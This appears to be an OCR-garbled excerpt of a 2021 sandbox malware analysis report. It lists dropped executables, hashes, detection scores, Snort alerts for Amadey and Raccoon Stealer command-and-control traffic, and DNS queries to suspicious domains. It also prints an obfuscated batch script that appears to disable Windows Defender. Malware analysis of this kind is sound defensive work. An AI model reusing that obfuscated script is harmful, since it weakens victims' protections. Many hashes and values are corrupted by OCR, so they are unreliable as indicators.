r%b%mwm%I|%o0zlt%e%wlhzjhxuzh%d%rogtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdghif%t%prvhhngvvouz%o%liyjprigxuur%p%j
skzmuaxtb% %vwoqgshkaaladz%S%ruuosytlcgu%e%nftvippgc%n%ghj%s%lixrmrlgje%e%tutofije%..%xxnggsvqut¥es%racghzwreqndvyc%skizikcom% %ytfY%c%pxdixotex
ymnev%o%dwcezzifyaqd%n%ijjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr
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https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNbWhSV0hWQ01rVkRlZ18xa2xEOTBkOUw/regular/analysis

Process: C:\Users\user\AppData\Local\Temp\DF9C.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: modified

Size (bytes): 0

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 6144:pkY0668MzX00Jgx6nrBdkBSrBHHHI6t7af9GHOWbcSDKTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z

MDS5: AB823DF932B3C2941A9015848EBDBI7B

SHA1L: ATE2D46ADA3A42A3D32A96937C316340F2E62A5B

SHA-256: 812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DESOECB68055F61E

SHA-512: 59AC83CED7EOA68E7491812B494E715FC19BA2AA25EDBCOB5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1AS0FE4BOFC716B986F6C5070B920F5C23;
5

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%
Reputation: unknown

Preview:

At FOen Lot (% .00 (% L0t HNB %z (% R (% (% M3
+on% (% (% Cl( % L&A (e oo+

C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe v

Process: C:\Users\user\AppData\Local\Temp\EA8A.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 91000

Entropy (8bit):  6.241345766746317

Encrypted: false

SSDEEP: 1536:JW30srWjET3tYIrrRepnbZ60bGk2nLY 2jR+utQUN+WXim:HjJET9nX0pnUOik2nXjR+utQK+g3

MD5: 17FC12902F4769AF3A9271EBAE2DACCE

SHA1L: 9A4A1581CC3971579574F837E110F3BD6D529DAB

SHA-256: 29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B

SHA-512: 036E0D62490C26DEE27EF54E514302E1CC8A14DESCE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E
A

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse

e Antivirus: ReversingLabs, Detection: 0%
Reputation: unknown

Preview:

C:\Users\luser\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\test.bat

Process: C:\Users\user\AppData\Local\Temp\EA8A.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 8399

Entropy (8bit):  4.665734428420432

Encrypted: false

SSDEEP: 192:XjtlefE/Qv3puaQo8BEINisgwgxOTkreOP/XApNDQS08WQJYbZhgEAFCH8N:xlef2Qh8BuNivdisOyj6 YboVF3N

MD5: B2A5EF7D334BDF866113C6F4F9036AAE

SHAL: F9027F2827B35840487EFD04E818121B5A8541E0

SHA-256: 27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E

SHA-512: 8ED39ED39E03FAGD4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56 CACEEE87ACFB7D4831D2671¢
E

Malicious: false

Reputation: unknown
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https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNbWhSV0hWQ01rVkRlZ18xa2xEOTBkOUw/regular/analysis

C:\Users\luser\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\test.bat

Preview:

@%nmb%e%Ivjgxfcm%c%qckbdzpzhfijg¥h%anbajpojymsco%o%nransp% %aqeoe%o0%mitd%f%puzu%f%bjs%..%fmmjryur¥%s%ukdixigneflfe%c%toqs% %xbvjy%s%
ykcetzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p¥noaevpkwrrrci% %npfksd%wdsljconeph%i%sinxiygfbc%n%ykxnbrpdgztrdb%d%mfuvueeajpyxla¥%eYewyybmmo%f%jdz
tigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrgav¥%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbgs%%nue%i%lgybs
rbgk%g%xguast% %vas%w%tdayskzhki%i%fmmijryurgrdcz%n%emroplrim%d%ymxvyr¥%e%igpwnheoi%f%ffehbxrlehlo%e%tutofiebvo%n%ywijkif%d%pvdaa% %
trpa%s%xznydsnggdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xa
r%b%mwm%I%ozlt%e%wlhzjhxuzh%d%rogtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdghif%t%prvhhngvvouz%o%liyjprigxuur%p%,j
skzmuaxtb% %vwoqgshkaaladz%S%ruuosytlcgu%e%nftvippgc%n%ghj%s%lixrmrlgje%e%tutofije%..%xxnggsvqut¥es%racghzwreqndvyc%skizikcom% %oytfY%c%pxdixotex
ymnev%o0%dwcezzifyaqd%n%ijjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

344064

5.99188338211275

false
6144:00kWD+3Pz81AWPC4BVZ2LGuSoGZkk4dmAzaV/:JZD+/CO4ULGuShkk4m1V/
3B947ED5AABDD775B1AFC31A5C4D39A0
552AA072522F22A003CADD3BCADSE4EBI81A5CBB
8245AD87EEABA1F19F658ADEF8A30BIA512760D866B7075BBF205D7A54296234

AE62F33E3BODAES9BBD33481B50E6BAS3F31AD8699D1570C8B03D73C2045E870CBA25A06CC3DCEA07D784CA6G88F63C2C335BD262B0722B4461D29AB54357C:
6

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 45%

unknown

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
876032
7.460770275761101
false
24576:rlIHH+L2668InnVIA56BI0OVXiTfhm9ICW9:rll+L2mtVIA5+ch
94A2C61443FDC38F87B7903D5FF979E7
CB98E7B675EFCEO0C9EAEC98B2B7F4C154B5E0D7
D89BY0BED3CA49A3110AB8ABFI5B27E42E87F31FA6427E32857F097DA65C58AB
698F87628375FA33BDDF97907DD09A95C1C20989D68D032E224330ED2EBFCEBC35DE4D0OB4A1A3353C9840C76AE88F6D56640072F859D7C9ECD2560F276CB1BI
true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

512512

7.846723941917503

false
12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J
F57B28AEC65D4691202B9524F84CC54A
F546B20EB40E3BC2B6929BA0F574E32422CED30C
87D86132095541ED3B5FEOSEB06692E1712287B6FFD9832A28EB85F52B55F0A5
1A773186B0A15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EB475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F0¢

true
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Yara Hits:

Antivirus:

Reputation:

Preview:

e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on

a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B82B.exe, Author: Florian Roth

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 39%

unknown

@ @...
.@..@.reloc...

cannot be runin D
T e e

1..L.IThis program cannot be run in DOS mode....$....... PE..L

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Yara Hits:

Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

512952

7.861107666291364

false
12288:2w86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+w:2VhdLVg2Zep7njXzPDxC+w
42758E2569239A774BECDB12698B124C
4AB353C4177A69FC9A6F3844852762809591DD2F
E3380DFDD6297AC134BB22C7C1603782F198A5B2164855BF66A95BAE47AB472D

959A6D4E39BC949F8C92C4213A7DD424EFF46AACCBCEG553D42863F4341B934CEB14997F67FDC2013D064A09C6134B9A113438347B7DEDF65E3A7TE2ADASDEF
8

true

e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\C1B2.exe, Author: Florian Roth

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

1..L.IThis program cannot be run in DOS mode....$....... PE..L..

.@..@.reloc.........
..IThis program cannot be run in D

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

212992

6.734269361613487

false
3072:UJ+Dg6a/6BOO0fFI4+uX67vtkdnNcDxzyuEpuVMO6P2+BwvHJI3/RA:FDy/6BOSFI48v2dxzyuEpynVP
73252ACB344040DDC5D9CE78A5D3A4C2

3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49EDGEFD2A07EB
1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CAGB841359010DA96E71FA42FD6EO9F7591448433DC3B01104007808427C3DE
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 80%

unknown

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

859648

2.9241367623104355

false
6144:pkY0668MzX00Jgx6nrBdkBSrBHHHI6t7af9GHOWbcSDKTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z
AB823DF932B3C2941A9015848EBDBI7B

Copyright Joe Security LLC 2021 Page 19 of 130



SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

ATE2D46ADA3A42A3D32A96937C316340F2E62A5B

812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DESOECB68055F61E

59AC83CED7EOA68E7491812B494E715FC19BA2AA25EDBCOB5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1AS0FE4BOFC716B986F6C5070B920F5C23;
5

true

e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

Lt (% 0. (% L0t
[ S

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Yara Hits:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

161280

5.163359140538006

false

3072:hj1+ax5s9jVultxylAMzTjSMzTjolelUhCp:hJgjVoeN
9FA070AF1ED2E1FO07ED8C9F6EB2BDD29
6E1ACD6CB17AB64AC6DBF0OF4400C649371BOE3BD
08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EABSC

14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9B
2

true

e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\EA8A.exe, Author: Florian Roth

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 43%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

Process:
File Type:
Category:
Size (bytes):

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

347136

5.994706914620217

false
6144:5rT+Wp+O0uiv24iPmSCyfl11rcrKEIOoL91iH+2k9Q9:5H/p+0uiv24gfl1rcrKEIOSIH
31BE6099D31BDBF1ED339EFFDC1C7064
6B1077BE6CF57EA98C3BESB6F0268D025EA72D88
9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885

ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53ECOC36C34EO0DA3242E19657B1ABB75AA3EEE88A7367E77FFCOE3FE98BFEFOD180C74966D1Cl
DE

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 57%

unknown

............. P...'s.h?......
.@....rsrc..h?..’s.@

Seo O @
.@..@.reloc.. #....5..%...(.....

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped
347136
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Entropy (8bit): 5.994706914620217

Encrypted: false

SSDEEP: 6144:5rT+Wp+0uiv24iPmSCyfl11rcrKEIOoL91iH+2k9Q9:5H/p+0uiv24gfl1rcrKEIOSIH

MDS5: 31BE6099D31BDBF1ED339EFFDC1C7064

SHA1L: 6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88

SHA-256: 9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885

SHA-512: ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53ECOC36C34E0DA3242E19657B1ABB75AA3EEEB8A7367E77FFCOE3FE98BFEFOD180C74966D1ClI
DE

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 57%
Reputation: unknown

Preview:

...ey..w.e.pd..e..qg.e...qg.e...
SeeeDeee e @
.@..@.reloc.. #....5..%...(.....

............. P..'s.h?......
.@....rsrc...h?...’s..@

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 212992

Entropy (8bit): 6.734269361613487

Encrypted: false

SSDEEP: 3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJI3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5: 73252ACB344040DDC5D9CE78A5D3A4C2

SHAL: 3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015

SHA-256: B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB

SHA-512: 1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6EO9F7591448433DC3B01104007808427C3DE
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 80%
Reputation: unknown

Preview:

1..L.IThis program cannot be run in DOS mode....$.....

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 344064

Entropy (8bit):  5.99188338211275

Encrypted: false

SSDEEP: 6144:00kWD+3Pz81AWPC4BVZ2LGuSoGZkk4amAzaV/:JZD+/CO4ULGuUShkk4m1V/

MD5: 3B947EDSAABDD775B1AFC31A5C4D39A0

SHAL: 552AA072522F22A003CADD3BCADSE4EB981A5CBB

SHA-256: 8245AD87EEABA1F19F658ADEF8A30B9A512760D866B7075BBF205D7A54296234

SHA-512: AE62F33E3BODAES9IBBD33481B50E6BAS3F31AD8699D1570C8B03D73C2045E870CBA25A06CC3DCEA07D784CA6G88F63C2C335BD262B0722B4461D29AB54357C:
6

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 45%

Reputation: unknown

Preview:

..L.L.IThis program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.

Process: C:\Windows\explorer.exe

File Type: ASCII text, with CRLF line terminators
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Category:

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

dropped

26

3.95006375643621

false

3:ggPYViIrPYV

187F488E27DB4AF347237FE461A079AD

6693BA299EC1881249D59262276A0D2CB21F8E64

255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
89879F237COC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
true

unknown

[ZoneTransfer]....Zoneld=0

Static File Info

General

File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 5.99188338211275

TriD: e Win32 Executable (generic) a (10002005/4)

99.96%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

File name: 25Kf6vSBog.exe

File size: 344064

MDS5: 3b947ed5aabdd775blafc31a5c4d39a0

SHAL: 552aa072522f22a003cadd3bcad5e4eb981a5chb

SHA256: 8245ad87eeabalf19f658adef8a30b9a512760d866b7075
bbf205d7a54296234

SHA512: ae62f33e3b0dae89bbd33481b50e6ba53f31ad8699d157!
¢8b03d73c2045e870cha25a06cc3dcea07d784ca688f63
€2¢335bd262b0722b4461d29ab54357¢226

SSDEEP: 6144:00kWD+3Pz81AWPC4BVZ2LGuSoGZkk4amAzaV/
:JZD+/CO4ULGuShkk4am1V/

File Content Preview: MZ...ooiiiiiiiiias @ oo L.LITh
is program cannot be run in DOS mode....$........... Ctw.C
tw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Bt
w.,...Btw.RichCtw......... PE.L.6.. i

File Icon

Icon Hash: aecaaeYeceab2aa2

Static PE Info

General

Entrypoint: 0x41c340

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics: TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp: 0x608ECA36 [Sun May 2 15:50:14 2021 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:
OS Version Minor:
File Version Major:

File Version Minor:

Ll 62 B ) |

Copyright Joe Security LLC 2021 Page 22 of 130



General
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Rich Headers

Data Directories

Sections

Name Virtual Address
text 0x1000

.data 0x3d000

ufulac 0x2734000

.rsrc 0x2735000

.reloc 0x2739000

Resources
Imports
Version Infos
Possible Origin

Language of compilation system

Divehi; Dhivehi; Maldivian

Spanish

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
10/29/21- TCP
20:30:35.457420

10/29/21- TCP
20:30:40.016951

10/29/21- TCP
20:30:46.932390

10/29/21- ICMP 399
20:32:34.929005

Copyright Joe Security LLC 2021

Virtual Size

0x3bcd0

0x26f69a4

0x2e5

0x3fa8

0x1221c

Message

Raw Size

0x3be00

0x1600

0x400

0x4000

0x12400

2027700 ET TROJAN Amadey CnC Check-In

Xored PE

unknown

5
1

5243e0b7a8cb0f582099146832c26e4

ZLIB Complexity
0.597431987213

unknown

0.0166015625 data
0.735473632812 data
0.0807871361301 data

Country where language is spoken

Maldives

Paraguay

2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)

2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)

ICMP Destination Unreachable Host Unreachable

data

unknown

Entropy
6.99265157433

unknown

0.0

6.34309337109

1.04253420355

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

Source
Port
49812

49823

49812

Dest
Port Source IP

Dest IP

80 192.168.2.7  91.219.236.97

80 192.168.2.7  185.215.113.45
80 192.168.2.7  91.219.236.97

192.168.255.2 192.168.2.7
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Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
10/29/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 192.168.255.2 192.168.2.7
20:32:34.929028

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 29, 2021 20:29:20.838665962 CEST 192.168.2.7 8.8.8.8 0x73d3 Standard query  xacokuo8.top A (IP address) IN (0x0001)
()

Oct 29, 2021 20:29:20.869488001 CEST 192.168.2.7 8.8.8.8 0x62d1 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:21.035674095 CEST 192.168.2.7 8.8.8.8 0xf54e Standard query  hajezeyl.top A (IP address) IN (0x0001)
()

Oct 29, 2021 20:29:21.198826075 CEST 192.168.2.7 8.8.8.8 0x1388 Standard query  privacytoo A (IP address) IN (0x0001)
(0) |zforyou-6000.top

Oct 29, 2021 20:29:24.045557976 CEST 192.168.2.7 8.8.8.8 0x69fd Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:24.233254910 CEST 192.168.2.7 8.8.8.8 0xb52f Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:40.908642054 CEST 192.168.2.7 8.8.8.8 0x8216 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:41.073271036 CEST 192.168.2.7 8.8.8.8 0xd313 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:41.237492085 CEST 192.168.2.7 8.8.8.8 0xb99c Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:41.405421019 CEST 192.168.2.7 8.8.8.8 0x83eb Standard query  hajezey1.top A (IP address)  IN (0x0001)
)

Oct 29, 2021 20:29:41.578799009 CEST 192.168.2.7 8.8.8.8 0x3cdf Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:43.609565020 CEST 192.168.2.7 8.8.8.8 0x3eb Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:43.776928902 CEST 192.168.2.7 8.8.8.8 Oxd47¢ Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:43.944502115 CEST 192.168.2.7 8.8.8.8 0x96ee Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:44.112785101 CEST 192.168.2.7 8.8.8.8 0x980d Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:46.378710985 CEST 192.168.2.7 8.8.8.8 0x9259 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:47.086751938 CEST 192.168.2.7 8.8.8.8 0x4d36 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:47.332381964 CEST 192.168.2.7 8.8.8.8 Ox4ce Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

Oct 29, 2021 20:29:51.277697086 CEST 192.168.2.7 8.8.8.8 Ox4bcb Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:51.466922045 CEST 192.168.2.7 8.8.8.8 0x8cf9 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:51.638843060 CEST 192.168.2.7 8.8.8.8 0x434a Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:51.959297895 CEST 192.168.2.7 8.8.8.8 0x854b Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

Oct 29, 2021 20:29:54.015197992 CEST 192.168.2.7 8.8.8.8 0x585e Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:54.182153940 CEST 192.168.2.7 8.8.8.8 Ox64al Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:54.354489088 CEST 192.168.2.7 8.8.8.8 0x649d Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:54.526992083 CEST 192.168.2.7 8.8.8.8 0x6bc6 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:54.702974081 CEST 192.168.2.7 8.8.8.8 0x9321 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:56.520184040 CEST 192.168.2.7 8.8.8.8 0x3837 Standard query  hajezeyl.top A (IP address) IN (0x0001)

©)
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 29, 2021 20:29:56.689944029 CEST 192.168.2.7 8.8.8.8 0xfe70 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:56.868458033 CEST 192.168.2.7 8.8.8.8 Oxae88 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:57.027054071 CEST 192.168.2.7 8.8.8.8 0x6041 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:57.194673061 CEST 192.168.2.7 8.8.8.8 Oxe76e Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:59.856906891 CEST 192.168.2.7 8.8.8.8 0x5a82 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:00.296351910 CEST 192.168.2.7 8.8.8.8 Ox4ffa Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:00.473638058 CEST 192.168.2.7 8.8.8.8 0x9edf Standard query  sysaheu90.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:01.354440928 CEST 192.168.2.7 8.8.8.8 0xcd03 Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

Oct 29, 2021 20:30:05.054286957 CEST 192.168.2.7 8.8.8.8 0x2096 Standard query  hajezeyl.top A (IP address) IN (0x0001)
()

Oct 29, 2021 20:30:05.295316935 CEST 192.168.2.7 8.8.8.8 0x6e42 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:06.119055033 CEST 192.168.2.7 8.8.8.8 0x54c6 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:06.424645901 CEST 192.168.2.7 8.8.8.8 0xf863 Standard query  hajezeyl.top A (IP address) IN (0x0001)
()

Oct 29, 2021 20:30:06.687756062 CEST 192.168.2.7 8.8.8.8 0x8c61 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:09.077034950 CEST 192.168.2.7 8.8.8.8 0x9b4 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:09.297492981 CEST 192.168.2.7 8.8.8.8 0x737d Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:09.509691954 CEST 192.168.2.7 8.8.8.8 0x828b Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:09.724762917 CEST 192.168.2.7 8.8.8.8 0xf0a3 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:09.952080965 CEST 192.168.2.7 8.8.8.8 Oxaele Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:10.313946009 CEST 192.168.2.7 8.8.8.8 0x7b34 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:11.558921099 CEST 192.168.2.7 8.8.8.8 0xd85d Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:11.754359961 CEST 192.168.2.7 8.8.8.8 0x12c8 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:15.527638912 CEST 192.168.2.7 8.8.8.8 Ox14de Standard query  telegalive.top A (IP address) IN (0x0001)
()

